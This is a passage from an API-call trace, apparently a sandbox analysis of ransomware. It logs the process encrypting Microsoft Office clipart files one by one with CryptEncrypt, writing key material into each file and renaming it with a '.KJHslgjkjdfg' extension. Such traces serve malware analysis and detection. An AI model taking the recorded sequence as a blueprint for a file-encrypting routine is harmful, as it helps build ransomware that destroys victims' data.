| out: lpNewFilePointer=0x0) returned 1 [0219.123] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc70, lpOverlapped=0x0) returned 1 [0219.123] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc70, dwBufLen=0xc70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc70) returned 1 [0219.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.123] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc70, lpOverlapped=0x0) returned 1 [0219.123] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.123] SetEndOfFile (hFile=0x130) returned 1 [0219.125] GetProcessHeap () returned 0x2ef0000 [0219.125] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.125] GetProcessHeap () returned 0x2ef0000 [0219.125] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.kjhslgjkjdfg")) returned 1 [0219.127] CloseHandle (hObject=0x130) returned 1 [0219.127] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1 [0219.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.128] GetProcessHeap () returned 0x2ef0000 [0219.128] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.128] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.128] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0219.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.139] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.139] GetProcessHeap () returned 0x2ef0000 [0219.139] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.140] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.140] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.140] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.140] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.140] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.141] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x614, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x614, lpOverlapped=0x0) returned 1 [0219.141] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620, dwBufLen=0x620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x620) returned 1 [0219.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.141] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x620, lpOverlapped=0x0) returned 1 [0219.141] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.141] SetEndOfFile (hFile=0x130) returned 1 [0219.144] GetProcessHeap () returned 0x2ef0000 [0219.144] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.144] GetProcessHeap () returned 0x2ef0000 [0219.144] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.kjhslgjkjdfg")) returned 1 [0219.146] CloseHandle (hObject=0x130) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1 [0219.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.149] GetProcessHeap () returned 0x2ef0000 [0219.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.149] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.149] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0219.157] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.157] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.158] GetProcessHeap () returned 0x2ef0000 [0219.158] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.158] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.158] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.158] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.158] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.158] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.158] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.158] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.159] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.159] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.159] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b4, lpOverlapped=0x0) returned 1 [0219.159] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0219.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.159] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0219.159] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.159] SetEndOfFile (hFile=0x130) returned 1 [0219.162] GetProcessHeap () returned 0x2ef0000 [0219.162] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.162] GetProcessHeap () returned 0x2ef0000 [0219.162] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.kjhslgjkjdfg")) returned 1 [0219.164] CloseHandle (hObject=0x130) returned 1 [0219.164] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1 [0219.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.166] GetProcessHeap () returned 0x2ef0000 [0219.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.166] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.166] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.166] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.166] GetProcessHeap () returned 0x2ef0000 [0219.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.166] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.167] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.167] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.302] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3380, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3380, lpOverlapped=0x0) returned 1 [0219.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3380, dwBufLen=0x3380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3380) returned 1 [0219.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.560] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3380, lpOverlapped=0x0) returned 1 [0219.560] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.560] SetEndOfFile (hFile=0x130) returned 1 [0219.563] GetProcessHeap () returned 0x2ef0000 [0219.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.563] GetProcessHeap () returned 0x2ef0000 [0219.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.kjhslgjkjdfg")) returned 1 [0219.566] CloseHandle (hObject=0x130) returned 1 [0219.566] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1 [0219.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.570] GetProcessHeap () returned 0x2ef0000 [0219.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.570] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0219.625] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.626] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.626] GetProcessHeap () returned 0x2ef0000 [0219.626] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.626] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.626] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.626] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.626] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.626] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.626] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.626] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.626] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.626] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.626] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x692, lpOverlapped=0x0) returned 1 [0219.626] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6a0) returned 1 [0219.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.626] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6a0, lpOverlapped=0x0) returned 1 [0219.627] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.627] SetEndOfFile (hFile=0x130) returned 1 [0219.629] GetProcessHeap () returned 0x2ef0000 